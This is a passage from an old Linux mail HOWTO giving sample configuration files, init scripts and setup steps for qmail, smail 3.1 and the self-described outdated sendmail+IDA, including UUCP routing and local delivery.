File : ".qmail-news"
&root
File : ".qmail-nobody"
&root
File : ".qmail-operator"
&root
File : ".qmail-postmaster"
&root
File : ".qmail-root"
&guylhem
File : ".qmail-system"
&root
File : ".qmail-toor"
&root
File : ".qmail-uucp"
&root
File : ".qmail-uucp-default"
|preline -dr /usr/bin/uux - -r -gC -a"${SENDER:-MAILER-DAEMON}" lm!rmail "($DEFAULT@$HOST)"

You need to create each of these file in ~alias, replacing &guylhem in .qmail-root by your own login to get root mail.

ATTENTION UUCP USERS !

DO NOT TRUST THE QMAIL FAQ FOR UUCP, USE MY .qmail-uucp-default INSTEAD! ELSE YOU WILL NOT BE ABLE TO SEND ANY MAIL BY YOUR UUCP CONNEXION!

Now you'll need to decide in which format your users will get their mail.

Here's my suggestion :

  • For NFS mounted home dirs, use MAILDIR format with a patch for local mail readers (patchs are available on www.qmail.org)
  • If no patch is available, prefer MAILFILE format : any mail reader can read a file containing mail, people will only need to create an alias (for bash) or a setenv (for csh) for their mail reader
  • Avoid /var/spool/mail/$USER format, too insecure

To fix the default format, read each file in /var/qmail/boot then copy the one you best like to /var/qmail/rc.

home or proc are safe choices, but prefer home for security reasons.

Configuring qmail

In /var/qmail/control, edit:

defaultdomain, me, plusdomain

  • me is you local FQDN (full qualified domain name), for example on my machine it is barberouge.linux.lmm.com
  • defaultdomain will be added to any host name without dots, including defaulthost, for example you can set it to localnetwork so any mail sent to joe@hisbox will be completed to be sent to joe@hisbox.localnetwork instead
  • plusdomain is the exception: it is added to any host name that ends with a plus sign, including defaulthost (set in me) if it ends with a plus sign.

These 3 examples show you the power and ease of configuration of qmail!

locals, rcpthosts

If you want to support virtual domain names, just put additional names in these files. Any mail you receive for these names will be handled locally.

The difference between locals and rcpthosts is the latter isn't considered as a local alias, which is useful if you receive mail from some free email address like yahoo.com or lemel.fr while you also send mail to other users of these non local services, i.e. you don't want to handle locally mail send to someone@yahoo.com!

virtualdomains

There can you specify default outgoing mode, for example :

#:alias-uucp

if you don't want to send outgoing mail by uucp but by smtp (default) or

:alias-ucp

if you send your outgoing mail by uucp.

Testing qmail

Now it is configured, try:

sh -cf '/var/qmail/rc &'
to launch qmail (it won't interfere with your local MTA), then:

echo to: mylogin | /var/qmail/bin/qmail-inject

You should receive this mail in the format you've chosen in /var/qmail/boot/.

Removing your other MTA

If this test was successful, just kill your previous MTA:

killall -STOP daemon_name ; if any children are running, you should killall -CONT their_name, wait, killall -STOP again, and repeat ad nauseam.

If there aren't any children, killall -TERM and then killall -CONT.

Remove it (how you can do this depends on the distribution you installed, for example rpm -e --nodeps on RedHat, Caldera and Suse, or dpkg -r --force-depends on Debian) then run:

# ln -s /var/qmail/bin/sendmail /usr/lib/sendmail
# ln -s /var/qmail/bin/sendmail /usr/sbin/sendmail

Now set up qmail-smtpd in /etc/inetd.conf (all on one line):

smtp stream tcp nowait qmaild /var/qmail/bin/tcp-env tcp-env /var/qmail/bin/qmail-smtpd

If you are using a old non-SYSV-init distribution like redhat, just add to your boot scripts:

sh -cf '/var/qmail/rc &'

Usually this should be /etc/rc.local but your mileage may vary.

For actual SYSV-init compliant distributions (RedHat, Caldera, Suse, Debian), add this script to /etc/init.d/ or /etc/rc.d/init.d/ :

DEBIAN version:

#!/bin/sh

test -x /var/qmail/rc || exit 0

case "$1" in
  start)
     echo -n "Starting mta: "
     sh -cf '/var/qmail/rc &'
     echo "qmail."
     ;;
  stop)
     echo -n "Stopping mta: "
     killall qmail-lspawn
     echo "qmail."
     ;;
  restart)
     echo -n "Restarting mta: "
     killall -HUP qmail-lspawn
     killall -ALRM qmail-lspawn
     echo "qmail."
     ;;
  *)
     echo "Usage: /etc/init.d/qmail {start|stop|restart}"
     exit 1
esac

exit 0

REDHAT version:

#!/bin/sh
#
# qmail      This shell script takes care of starting and stopping qmail.
#
# description: qmail is a Mail Transport Agent, which is the program \
#              that moves mail from one machine to another.
# processname: qmail
# config: /var/qmail/control/

# Source function library.
. /etc/rc.d/init.d/functions

# Source networking configuration.
. /etc/sysconfig/network

export PATH=$PATH:/var/qmail/bin

# Check that networking is up.
[ ${NETWORKING} = "no" ] && exit 0

[ -f /usr/sbin/sendmail ] || exit 0

# See how we were called.
case "$1" in
  start)
        # Start daemons.
        echo -n "Starting qmail: "
        qmail-start '|preline procmail' splogger qmail &
        touch /var/lock/subsys/qmail
        echo
        ;;
  stop)
        # Stop daemons.
        echo -n "Shutting down qmail: "
        killproc qmail-lspawn
        echo
        rm -f /var/lock/subsys/qmail
        ;;
  restart)
        $0 stop
        $0 start
        ;;
  status)
        status qmail
        ;;
  *)
        echo "Usage: qmail {start|stop|restart|status}"
        exit 1
esac

exit 0

And make symlinks to each /etc/rc.d/rcN.d/, for example:

ln -sf /etc/init.d/qmail /etc/rc1.d/K19qmail

If the first letter is K, you will kill qmail on this runlevel (1 for single mode or 6 for boot), but if the first letter is S, you will start qmail on this runlevel (each others runlevel).

  • How to decide whether you should put a K or a S? Do what the majority of dæmons in this runlevel do!
  • What number should you put after K or S? The number next to your network daemon. That means the MTA will be started and stopped respectively after and before the network daemon. Without this, your network will be unreachable while the MTA would expect it to work.

RedHat, Caldera and Suse will use /etc/rc.d/ instead of plain /etc/ for Debian distribution, i.e. /etc/rc.d/rc1.d or /etc/rc.d/init.d for example.

That's all, folks!

No need to reboot (remember, you're using linux, not some other cheap OS!) for the modifications to take effect, just run:

killall inetd
init 1

To go to single user mode, then:

init 2

to go back to your default runlevel (indicated in /etc/inittab with initdefault label).

You could also hand-start qmail script but "init" method will show you if qmail script is well positioned, i.e. launched after network scripts but before any program which depends on email to warn you (like inn).

6.2 Smail v3.1

Smail3.1 seems to be a de-facto standard transport agent for uucp-only sites and for some smtp sites. It's easy to configure, it compiles without patching from the sources and it's fairly secure.

Configuring smail

Install the smail binary from your distribution (I recommend you choose this) or get the smail sources and build smail. If you're building smail from sources, you need to have the following in your os/linux file so that 'sed' gives you shell scripts that work properly.

CASE_NO_NEWLINES=true

Once it's installed, config. files will certainly go in /etc/smail (but your mileage may vary if you use old distributions); let's start editing them!

"config" file

# From
smart_path=polux
smart_transport=uux

# To
hostname=barberouge
domains=linux.lmm.com

visible_name=barberouge.linux.lmm.com
uucp_name=barberouge.linux.lmm.com

# max_message_size=512k
# auth_domains=foo.bar
# more_hostnames=barberouge.polux.freenix.fr

Well, first, who is feeding you? I'm fed by "polux" via uucp (i.e. uux transport); naturally you need to change this file according to your own situation. For example, you could by fed by "bargw.bar.foobar.com" via "smtp", in that case you don't need a transport file and can define "-transport_file " to indicate you don't need one.

You can also use "postmaster_address = yourname", hide the network topology in outgoing addresses (if you're a gateway) using "visible_name", set which aliases address can also be used for the email you receive, using "more_hostnames".

See smail documentation for more details or the examples in /usr/doc/smail/examples to see if any match your situation.

"directors" file

# aliasinclude - expand ":include:filename" addresses produced by alias files
# This entry and the next one are pretty much boiler-plate.  Reasons
# for making significant changes are few.  The sole purpose of these
# is to match and expand addresses of the form:
#       :include:pathname
# which may occur in alias files or mailing-list/forward files
# (produced by any director with a driver of forwardfile).
aliasinclude:
        driver = aliasinclude,          # use this special-case driver
        nobody;                         # associate nobody user with addresses
                                        #  when mild permission violations
                                        #  are encountered
        copysecure,                     # get permissions from alias director
        copyowners,                     # get owners from alias director

# forwardinclude - expand ":include:filename" addrs produced by forward files
forwardinclude:
        driver = forwardinclude,        # use this special-case driver
        nobody;
        copysecure,                     # get perms from forwarding director
        copyowners,                     # get owners from forwarding director

# aliases - search for alias expansions stored in a database
# This is the standard aliases file.  It is used for generic things,
# like mapping root, postmaster, MAILER-DAEMON and uucp to site
# admins, creating some small system alias expansions, and such.  In
# this site configuration, the aliases file is used mostly for
# machine-specific aliasing/forwarding information.  Global forwarding
# information should be put in the "forward" database.
aliases:
        driver=aliasfile,               # general-purpose aliasing director
        -nobody,                        # all addresses are associated
                                        # with nobody by default, so setting
                                        # this is not useful.
        sender_okay,                    # don't remove sender from expansions
        owner=owner-$user;              # problems go to an owner address
        file=/etc/aliases,
        modemask=002,                   # should not be globally writable
        optional,                       # ignore if file does not exist
        proto=lsearch,                  # unsorted ASCII file

# forward - search for expansions stored in a forwarding database
# This is the subdomain-wide user forwarding database.  Entries are
# maintained here for current or past users, to forward their mail to
# their preferred mail-reading machine.  The forward database is
# shipped around the TCP/IP network as changes are made, to keep the
# network consistent.
#forward:
#       driver = aliasfile,             # general-purpose aliasing director
#       -nobody,                        # all addresses are associated
#                                       # with nobody by default, so setting
#                                       # this is not useful.
#       owner = real-$user;             # problems go to an owner address
#
#       file = /etc/forward,
#       modemask = 002,
#       proto = dbm,                    # use dbm(3X) library for access

# dotforward - expand .forward files in user home directories
# For users that have an entry in the "forward" database, a ".forward"
# file is only used if it is on the "home" machine, as identified in
# the forward database.  If used, it is treated as a list of addresses
# to which mail should be delivered, rather than (or in addition to)
# the user identified in the local address.
dotforward:
        driver = forwardfile,           # general-purpose forwarding director
        owner = postmaster, nobody, sender_okay;

        file = ~/.forward,              # .forward file in home directories
        checkowner,                     # the user can own this file
        owners = root,                  # or root can own the file
        modemask = 002,                 # it should not be globally writable
        caution = daemon:root,          # don't run things as root or daemon
        # be extra careful of remotely accessible home directories
        unsecure = "~uucp:/tmp:/usr/tmp:/var/tmp"

# forwardto - expand a "Forward to " in user mailbox files
# This emulates the V6/V7/System-V forwarding mechanism which uses a
# line of forward addresses stored at the beginning of user mailbox files
# prefixed with the string "Forward to "
forwardto:
        driver = forwardfile,
        owner = postmaster, nobody, sender_okay;

        file = /var/spool/mail/${lc:user},      # point at user mailbox files
        forwardto,                      # enable "Forward to " function
        checkowner,                     # the user can own this file
        owners = root,                  # or root can own the file
        modemask = 0002,                # under System V, group mail can write
        caution = daemon:root           # don't run things as root or daemon

# user - match users on the local host with delivery to their mailboxes
user:   driver = user;                  # driver to match usernames
        transport = local               # local transport goes to mailboxes

# real_user - match usernames when prefixed with the string "real-"
# This is useful for allowing an address which explicitly delivers to a
# user's mailbox file.  For example, errors in a .forward file expansion
# could be delivered here, or forwarding loops between multiple machines
# can be resolved by using a real-username address.  Also, users that
# wish to use mail as a means of transferring data to a machine that
# is not their "home" machine can mail to real-login-name@remote.host.
real_user:
        driver = user;
        transport = local,
        prefix = "real-"                # for example, match real-root

# lists - expand mailing lists stored in a list directory
# mailing lists can be created simply by creating a file in the
# /etc/smail/lists directory.
lists:  driver = forwardfile,
        caution,                        # flag all addresses with caution
        nobody,                         # and then associate the nobody user
        owner = owner-$user;            # system V sites may wish to use
                                        # o-$user, as owner-$user may be
                                        # too long for a 14-char filename.
        file = lists/${lc:user}         # lists is under $smail_lib_dir

# owners - expand mailing lists stored in a list owner directory
# mailing lists owner lists can be created simply by creating a file
# in the /etc/smail/lists/owner directory.  Mailing list owners
# are sent locally generated errors dealing with a mailing list of the
# same name.  To create an owner list for a mailing list, create a
# file with the name of the list in /etc/smail/lists/owner.  This
# will create a list address of owner-listname, as is used by the
# "lists" director above.
owners: driver = forwardfile,
        caution,                        # flag all addresses with caution
        nobody,                         # and then associate the nobody user
        owner = postmaster;             # system V sites may wish to use
                                        # o-$user, as owner-$user may be
                                        # too long for a 14-char filename.
        prefix = "owner-",
        file = lists/owner/${lc:user}   # lists is under $smail_lib_dir

# request - expand mailing lists stored in a list request directory
# mailing lists request lists can be created simply by creating a file
# in the /etc/smail/lists/request directory.  Request addresses
# are typically used as a standard address for queries about a mailing
# list.  For example, requests for additions or deletions to a list
# will generally be sent to "list-request", which should be set up to
# forward to the appropriate person or persons.
request: driver = forwardfile,
        caution,                        # flag all addresses with caution
        nobody,                         # and then associate the nobody user
        owner = postmaster;             # system V sites may wish to use
                                        # o-$user, as owner-$user may be
                                        # too long for a 14-char filename.
        suffix = "-request",
        file = lists/request/${lc:user} # lists is under $smail_lib_dir

You shouldn't need to change anything here, only mailing list options if you intend to run some using smail, or forwards options if, for example, you want to disable forwarding.

"fidopaths" file

.f105.n324.z2.fidonet.org       f105.n324.z2.fidonet.org!%s
.n324.z2.fidonet.org            f105.n324.z2.fidonet.org!%s
.z2.fidonet.org                 f105.n324.z2.fidonet.org!%s
.fidonet.org                    f105.n324.z2.fidonet.org!%s

Create such a file only if you're using ifmail and FIDO.

"routers" file

# forces - force certain paths
# This database exists as a means of hardcoding the paths to various
# machines or domains.  It is for use in creating temporary tweaks to
# the other routing databases.  To change the database, edit the file
# maps/force.path and type "make" in the maps/ subdirectory.
forces:
        driver = pathalias,             # router to search paths file
        method = /etc/smail/maps/table; # transports are in this file
        file = forcepaths,              # file containing force path info
        proto = lsearch,                # use the sorted path file
        optional,
        reopen                          # close when not being used

uucp_neighbors:
        driver=uuname,                  # use a program which returns neighbors
        transport=uux;
        cmd="/usr/bin/uuname -a",       # specifically, use the uuname program
#        domain=uucp                    # strip ending ".uucp"

# smart_host - a partially specified smarthost director
# If the config file attribute smart_path is defined as a path from the
# local host to a remote host, then hostnames not matched otherwise will
# be sent off to the stated remote host.  The config file attribute
# smart_transport can be used to specify a different transport.
# If the smart_path attribute is not defined, this router is ignored.
smart_host:
        driver = smarthost,             # special-case driver
        transport = uux                 # by default deliver over UUCP
#       path=phreak

# ifmail - to send mails to fidonet and vice versa
ifmail:
        driver=pathalias,
        transport=ifmail;
        file=fidopaths,
        proto=lsearch

You should only include ifmail chapter if you use ifmail for FIDO mails. Note you can also change transport mode from "uux" (ie UUCP) to, for example, "smtp" or even 'hardcode the paths to various machines or domains' in "/etc/smail/maps/table".

This is useful if you want outgoing mail for your local network to be delivered immediately, since there's no need for it to be routed to your uucp connexion of your internet access.

"transports" file

# local - deliver mail to local users
# Tell smail to append directly to user mailbox files in the /var/spool/mail
# directory.
#local: driver = appendfile,            # append message to a file
#       -return_path,                   # include a Return-Path: field
#       local,                          # use local forms for delivery
#       from,                           # supply a From_ envelope line
#       unix_from_hack;                 # insert > before From in body
#
#       file = /var/spool/mail/${lc:user},      # use this location for Linux
#                                               # Note, mail spool must be 1777
#       file = ~/mailfile,              # use this location for better security
#       group = mail,                   # group to own file for System V
#       mode = 0660,                    # under System V, group mail can access
#       suffix = "\n",                  # append an extra newline
#       append_as_user,

# This allows each user to have a ~/.procmailrc file to control filtering
# of mail and saving mail from mail lists in separate mailboxes if they wish.
local:  +inet,
        -uucp,
        driver = pipe,                  # append message to a file
        return_path,                    # include a Return-Path: field
        local,                          # use local forms for delivery
        from,                           # supply a From_ envelope line
        unix_from_hack;                 # insert > before From in body

        cmd = "/usr/bin/procmail",      # use procmail for local delivery
        parent_env,                     # environment info from parent addr
        pipe_as_user,                   # use user-id associated with address
        umask = 0022,                   # umask for child process
#       -ignore_status,                 # exit status should be believed
#       -ignore_write_errors,           # retry on broken pipes

# pipe - deliver mail to shell commands
# This is used implicitly when smail encounters addresses which begin with
# a vertical bar character, such as "|/usr/lib/news/recnews talk.bizarre".
# The vertical bar is removed from the address before being given to the
# transport.
#pipe:  driver = pipe,                  # pipe message to another program
#       return_path, local, from, unix_from_hack;
#
#       cmd = "/bin/sh -c $user",       # send address to the Bourne Shell
#       parent_env,                     # environment info from parent addr
#       pipe_as_user,                   # use user-id associated with address
#       umask = 0022,                   # umask for child process
#       -log_output,                    # do not log stdout/stderr
#       ignore_status,                  # exit status may be bogus, ignore it
#       ignore_write_errors,            # ignore broken pipes

# file - deliver mail to files
# This is used implicitly when smail encounters addresses which begin with
# a slash or squiggle character, such as "/usr/info/list_messages" or
# perhaps "~/Mail/inbox".
#file:  driver = appendfile,
#       return_path, local, from, unix_from_hack;
#
#       file = $user,                   # file is taken from address
#       append_as_user,                 # use user-id associated with address
#       expand_user,                    # expand ~ and $ within address
#       check_path,
#       suffix = "\n",
#       mode = 0644

# uux - deliver to the rmail program on a remote UUCP site
#
# As many as five recipient addresses will be delivered to the remote
# host in one UUCP transaction.
uux:    driver = pipe,
        -uucp,
        inet,
#       uucp,                           # use UUCP-style addressing forms
        from,                           # supply a From_ envelope line
        max_addrs = 5,                  # at most 5 addresses per invocation
        max_chars = 200;                # at most 200 chars of addresses
# the -r flag prevents immediate delivery, parentheses around the
# $user variable prevent special interpretation by uux.
        cmd = "/usr/bin/uux - -r -g$grade $host!rmail $((${strip:user})$)",
#        cmd="/usr/bin/uux - $host!rmail $(($user)$)",
        ignore_write_errors,            # ignore broken pipes
        umask = 0022,
#       pipe_as_sender,

# uux_one_addr - deliver mail over UUCP to a remote host that can take
#                one address at a time.
# This is often necessary when delivering to a site running an unmodified
# version of 4.1BSD.
uux_one_addr:
        driver = pipe,
        uucp,                           # use UUCP-style addressing forms
        from;                           # supply a From_ envelope line
# the -r flag prevents immediate delivery
        cmd = "/usr/bin/uux - -r -g$grade $host!rmail (${strip:user})",
        umask = 0022,
        pipe_as_sender

queueonly:
        driver = pipe;                  # send the message to a pipe
        cmd = "/usr/lib/sendmail -Q -f $sender -bm $user",
                                        # use getmail for local delivery
        user=root,                      # execute getmail as "root"
        group=mail,                     # execute getmail as "mail"
        parent_env,                     # environment info from parent addr
        -pipe_as_user,                  # use user-id associated with address
        umask = 0007,                   # umask for child process

# to deliver the message.  The smtp transport is included only if BSD
# networking exists.
# The uucp attribute can be specified for transfers within the UUCP
# zone.  The inet attribute must be specified for transfers within the
# Internet.
# NOTE: This is hardly optimal, a backend should exist which can handle
#       multiple messages per connection.
# ALSO: It may be necessary to restrict max_addrs to 100, as this is the
#       lower limit SMTP requires an implementation to handle for one
#       message.
smtp:   driver=tcpsmtp,
        inet,                           # if UUCP_ZONE is not defined
#       uucp,                           # if UUCP_ZONE is defined
        -max_addrs, -max_chars;         # no limit on number of addresses

        short_timeout=5m,               # timeout for short operations
        long_timeout=2h,                # timeout for longer SMTP operations
        service=smtp,                   # connect to this service port
# For internet use: uncomment the below 4 lines
       use_bind,                       # resolve MX and multiple A records
       defnames,                       # use standard domain searching
       defer_no_connect,               # try again if the nameserver is down
       local_mx_okay,                  # fail an MX to the local host

ifmail:
        from,received,max_addrs=5,max_chars=200,
        driver=pipe;
        pipe_as_sender,
        cmd="/usr/local/bin/ifmail -x9 -r$host $((${strip:user})$)"

You should include an ifmail chapter only if you use ifmail for FIDO mail. Apart from that, you shouldn't need to edit anything in this file which defines transport agents (like uux, smtp ...) you can use as parameters in other config. files.

Note I commented out some parts, like "pipes" or "file", to enhance security.

"maps/" directory

It contains map and table files:

First, map file

#N      foo.bar foo2.bar2
#S      AT 486/RedHat Linux 1.2.13
#O      organization
#C      contact
#E      administration (email)
#T      phone
#P      address
#R
#U      hosts connected via uucp
#W      created/edited by
#
hname polux

hname linux.eu.org

hname = polux
hname = polux.linux.eu.org

Once again, edit this file to match you situation (I'm fed by polux.linux.eu.org).

Now table file

*       uux

You can define different transports to different paths, for example "smtp" for the machines in your local network, "uux" (i.e. uucp) for the rest of the world or vice-versa (I'm using uucp for any outgoing mail, therefore I use "*"!).

Other good examples

The previous files are the one I currently use for my site, you shouldn't encounter any problem using them as samples/basis for your own files.

The following files are provided only as good examples to configure smail a different way.

#ident "@(#) transports,v 1.2 1990/10/24 05:20:46 tron Exp"

# See smail(5) for a complete description of the contents of this file.

# local - deliver mail to local users
#
# Tell smail to append directly to user mailbox files in the /usr/mail
# directory.
local:  driver = appendfile,            # append message to a file
        return_path,                    # include a Return-Path: field
        local,                          # use local forms for delivery
        from,                           # supply a From_ envelope line
        unix_from_hack;                 # insert > before From in body

        file = /usr/mail/${lc:user},    # use this location for System V
        group = mail,                   # group to own file for System V
        mode = 0660,                    # under System V, group mail can access
        suffix = "\n",                  # append an extra newline
        append_as_user,

# pipe - deliver mail to shell commands
#
# This is used implicitly when smail encounters addresses which begin with
# a vertical bar character, such as "|/usr/lib/news/recnews talk.bizarre".
# The vertical bar is removed from the address before being given to the
# transport.
pipe:   driver = pipe,                  # pipe message to another program
        return_path, local, from, unix_from_hack;

        cmd = "/bin/sh -c $user",       # send address to the Bourne Shell
        parent_env,                     # environment info from parent addr
        pipe_as_user,                   # use user-id associated with address
        umask = 0022,                   # umask for child process
        -log_output,                    # do not log stdout/stderr
        ignore_status,                  # exit status may be bogus, ignore it
        ignore_write_errors,            # ignore broken pipes

# file - deliver mail to files
#
# This is used implicitly when smail encounters addresses which begin with a
# slash or squiggle character, such as "/usr/info/list_messages" or perhaps
# "~/Mail/inbox".
file:   driver = appendfile,
        return_path, local, from, unix_from_hack;

        file = $user,                   # file is taken from address
        append_as_user,                 # use user-id associated with address
        expand_user,                    # expand ~ and $ within address
        suffix = "\n",
        mode = 0644

# uux - deliver to the rmail program on a remote UUCP site
#
# As many as five recipient addresses will be delivered to the remote host in
# one UUCP transaction.
uux:    driver = pipe,
        uucp,                           # use UUCP-style addressing forms
        from,                           # supply a From_ envelope line
        max_addrs = 5,                  # at most 5 addresses per invocation
        max_chars = 200;                # at most 200 chars of addresses

        # the -r flag prevents immediate delivery, parentheses around the
        # $user variable prevent special interpretation by uux.
        cmd = "/usr/bin/uux - -r -g$grade $host!rmail $((${strip:user})$)",
        umask = 0022,
        pipe_as_sender

# uux_one_addr - deliver mail over UUCP to a remote host that can take one
# address at a time.
#
# This is often necessary when delivering to a site running an unmodified
# version of 4.1BSD.
uux_one_addr:
        driver = pipe,
        uucp,                           # use UUCP-style addressing forms
        from;                           # supply a From_ envelope line

        # the -r flag prevents immediate delivery
        cmd = "/usr/bin/uux - -r -g$grade $host!rmail (${strip:user})",
        umask = 0022, pipe_as_sender

# demand - deliver to a remote rmail program, polling on demand
demand: driver = pipe,
        uucp, from, max_addrs = 5, max_chars = 200;

        # with no -r flag, try to contact remote site immediately
        cmd = "/usr/bin/uux - -g$grade $host!rmail $(($user)$)",
        umask = 0022, pipe_as_sender

# uusmtp - deliver to the rsmtp program on a remote UUCP site
#
# Deliver using a simple Batched SMTP protocol to the remote machine.
# This allows much more arbitrary addresses to be used.  It also
# removes the limit on recipient addresses per invocation of uux.
uusmtp: driver = pipe,
        bsmtp,                          # send batched SMTP commands
        -max_addrs,                     # there is no limit on the number or
        -max_chars;                     #   total size of recipient addresses.

        # supply -r to prevent immediate delivery, the recipient addresses
        # are stored in the data sent to the standard input of rsmtp.
        cmd = "/usr/bin/uux - -r -g$grade $host!rsmtp",
        umask = 0022, pipe_as_sender

# demand_uusmtp - deliver to a remote rsmtp program, polling on demand
demand_uusmtp:
        driver = pipe,
        bsmtp, -max_addrs, -max_chars;

        # with no -r flag, try to contact remote site immediately
        cmd = "/usr/bin/uux - -g$grade $host!rsmtp",
        umask = 0022, pipe_as_sender

# smtp - deliver using SMTP over TCP/IP
#
# Connect to a remote host using TCP/IP and initiate an SMTP conversation to
# deliver the message.  The smtp transport is included only if BSD networking
# exists.

# NOTE: It may be necessary to restrict max_addrs to 100, as this is the
#       lower limit SMTP requires an implementation to handle for one
#       message.
smtp:   driver = smtp,
        -max_addrs,
        -max_chars

#ident "@(#) table,v 1.2 1990/10/24 05:20:31 tron Exp"

# This file names the transports that are to be used in delivering
# to specific hosts from bargw.

#host           transport
#--------       ---------
curdsgw         demand_uusmtp   # deliver using batched SMTP
oldbsd          uux_one_addr    # 4.1BSD sites cannot take more than one addr
sun             demand          # call sun when their is mail to send
*               uux             # for all others, poll at intervals

Restarting inetd

To run smail as a smtp daemon, add one of the following to /etc/inetd.conf:

         smtp stream tcp nowait  root  /usr/bin/smtpd smtpd

or:

         smtp stream tcp nowait  root  /usr/sbin/tcpd  /usr/sbin/in.smtpd

Outgoing mail gets sent automatically, when using elm.

Smail with smtp

Generally, ISPs use smtp, therefore you shouldn't have any problems sending your mail. If your internet link is down when you send mail, then the mail sits in "/var/spool/smail/input". When the link next comes up, "runq" is run which causes the mail to be sent. However, receiving mail is the problem since your provider has many clients to look after, not only you!

Usually, you can retrieve your mail via the POP protocol, see POP section below.

6.3 OUTDATED SECTION: Sendmail+IDA

For big sites, sendmail is worth choosing, due to the "incredible ease of use", (very relative feeling when you know qmail) but you must decide which you want between sendmail+IDA and sendmail 8.x:

  • If you use an old kernel (1.0): sendmail+IDA
  • If you use a not so old kernel (1.2): sendmail+IDA and source code editing
  • Recent kernel (2.0) will choose sendmail 8.x

Remember, linux newbies or people concerned by security / ease of configuration should rather try using smail or qmail, which are easier to use and safer.

Source installation

If your distribution doesn't provide you with a ready-to-install sendmail package (.rpm for RedHat, Caldera and Suse, .deb for Debian) just download the sources and run:

  • cd / ; tar -zxvf sendmail5.67b+IDA1.5.tgz

  • cd to /usr/local/lib/mail/CF and copy the sample.m4 local.m4 file to "yourhostname.m4".

Edit out the distributed hostname, aliases, smarthost and put in the correct one for your site. The default file is for a uucp-only site (no longer in 8.x) who has domainized headers and who talks to a smart host. Then "make yourhostname.cf" and move the resulting file to /etc/sendmail.cf

  • if you are uucp-only, you do *NOT* need to create any of the tables mentioned in the README.linux file.

You'll just have to touch the files so that the Makefile works. Just edit the .m4 file, make sendmail.cf and start testing it.

  • if you're uucp-only and you talk to sites in addition to your "smart-host", you'll need to add uucpxtable entries for each (or mail to them will also go through the smart host) and run dbm against the revised uucpxtable.

  • If you run Rich Braun's original binary distribution of 5.67a, you'll need to freeze the configuration if you change your .cf file with "/usr/lib/sendmail -bz" to make the changes take effect.

You should also update your version to at least 5.67b since there is a nasty security hole in 5.67a and earlier. Another nice thing is that if you have mail.debug set and you run syslogd, your incoming and outgoing mail messages will get logged. See the "/etc/syslog.conf" file for details.

The sources for sendmail+IDA can be found at vixen.cso.uiuc.edu ; they require no patching to run under Linux if you're running something like a kernel of 1.00.

If you're running a kernel > 1.1.50, you get the fun of reversing most of the Linux-specific patches that are now in the vanilla sources. (I *did* told you this sendmail was only for old kernels:-)

It's extremely obvious where this needs to be done: just type "make" and when it blows up, go to that line in the sources and comment out the Linux-specific code that's in there.

If you're going to run sendmail+IDA, I strongly recommend you go to the sendmail5.67b+IDA1.5 version since all required Linux-specific patches are now in the vanilla sources and several security holes have been plugged that WERE (!!!) in the older version you may have grabbed or built before about December 1st, 1993.

Now linux kernel is 2.0, you should use sendmail 8.x instead of sendmail+IDA, but I already told you'd better choose sendmail 8.x:-)

The sendmail.m4 file

Sendmail+IDA requires you to set up a sendmail.m4 file rather than editing the sendmail.cffile directly. The nice thing about this is that it is simple to set up mail configurations that are extremely difficult (if not totally impossible for most people to set up correctly) in smail or traditional sendmail.

The sendmail.m4 file that corresponds to the above smail example looks like the following:

  dnl #------------------ SAMPLE SENDMAIL.M4 FILE ------------------
  dnl #
  dnl # (the string 'dnl' is the m4 equivalent of commenting out a line)
  dnl # (well, not exactly, but use it for this purpose if you must :-)
  dnl # you generally don't want to override LIBDIR from the compiled in paths
  dnl #define(LIBDIR,/usr/local/lib/mail)dnl    # where all support files go
  define(LOCAL_MAILER_DEF, mailers.linux)dnl    # mailer for local delivery
  define(POSTMASTERBOUNCE)dnl                   # postmaster gets bounces
  define(PSEUDODOMAINS, BITNET UUCP)dnl         # don't try DNS on these
  dnl #
  dnl #-------------------------------------------------------------
  dnl #
  dnl # names we're known by
  define(PSEUDONYMS, myhostname.subdomain.domain myhostname.UUCP)
  dnl #
  dnl # our primary name
  define(HOSTNAME, myhostname.subdomain.domain)
  dnl #
  dnl # our uucp name
  define(UUCPNAME, myhostname)dnl
  dnl #
  dnl #-------------------------------------------------------------
  dnl #
  define(UUCPNODES, |uuname|sort|uniq)dnl       # our uucp neighbors
  define(BANGIMPLIESUUCP)dnl                    # make certain that uucp
  define(BANGONLYUUCP)dnl                       #  mail is treated correctly
  define(RELAY_HOST, my_uucp_neighbor)dnl       # our smart relay host
  define(RELAY_MAILER, UUCP-A)dnl               # we reach moria via uucp
  dnl #
  dnl #--------------------------------------------------------------------
  dnl #
  dnl # the various dbm lookup tables
  dnl #
  define(ALIASES, LIBDIR/aliases)dnl            # system aliases
  define(DOMAINTABLE, LIBDIR/domaintable)dnl    # domainize hosts
  define(PATHTABLE, LIBDIR/pathtable)dnl        # paths database
  define(GENERICFROM, LIBDIR/generics)dnl       # generic from addresses
  define(MAILERTABLE, LIBDIR/mailertable)dnl    # mailers per host or domain
  define(UUCPXTABLE, LIBDIR/uucpxtable)dnl      # paths to hosts we feed
  define(UUCPRELAYS, LIBDIR/uucprelays)dnl      # short-circuit paths
  dnl #
  dnl #--------------------------------------------------------------------
  dnl #
  dnl # include the 'real' code that makes it all work
  dnl # (provided with the source code)
  dnl #
  include(Sendmail.mc)dnl                         # REQUIRED ENTRY!!!
  dnl #
  dnl #------------ END OF SAMPLE SENDMAIL.M4 FILE -------

Defining a local mailer

Unlike most Unix distributions, Linux did not come with a local mail delivery agent by default.

Slackware did! Well at least it is offered by the easy-to-use-but-longwinded installation script. It uses procmail.

Now, deliver or procmail is generally installed, with a default sendmail setup to handle local mail, so no complexity will be added to this already very complex setup. I recommend using the commonly available deliver or procmail programs, which can be optional packages in a some Linux distributions.

In order to do so, you need to define a LOCAL_MAILER_DEF in the sendmail.m4 file that points to a file that looks like:

  # -- /usr/local/lib/mail/mailers.linux --
  #     (local mailers for use on Linux )
  Mlocal, P=/usr/bin/deliver, F=SlsmFDMP, S=10, R=25/10, A=deliver $u
  Mprog,  P=/bin/sh,       F=lsDFMeuP,   S=10, R=10, A=sh -c $u

There is a also built-in default for deliver in the Sendmail.mc file that gets included into the sendmail.cf file. To specify it, you would not use the mailers.linux file but would instead define the following in your sendmail.m4 file:

   dnl --- (in sendmail.m4) ---
   define(LOCAL_MAILER_DEF, DELIVER)dnl       # mailer for local delivery

Unfortunately, Sendmail.mc assumes deliver is installed in /bin, which is not the case with Slackware1.1.1 (which installs it in /usr/bin). In that case you'd need to either fake it with a link or rebuild deliver from sources so that it resides in /bin. Please note procmail is generally better than deliver, for example for mail filtering.

The sendmail+IDA dbm tables

Setting up special behavior for sites or domains is done through a number of optional dbm tables rather than editing the sendmail.cf file directly.

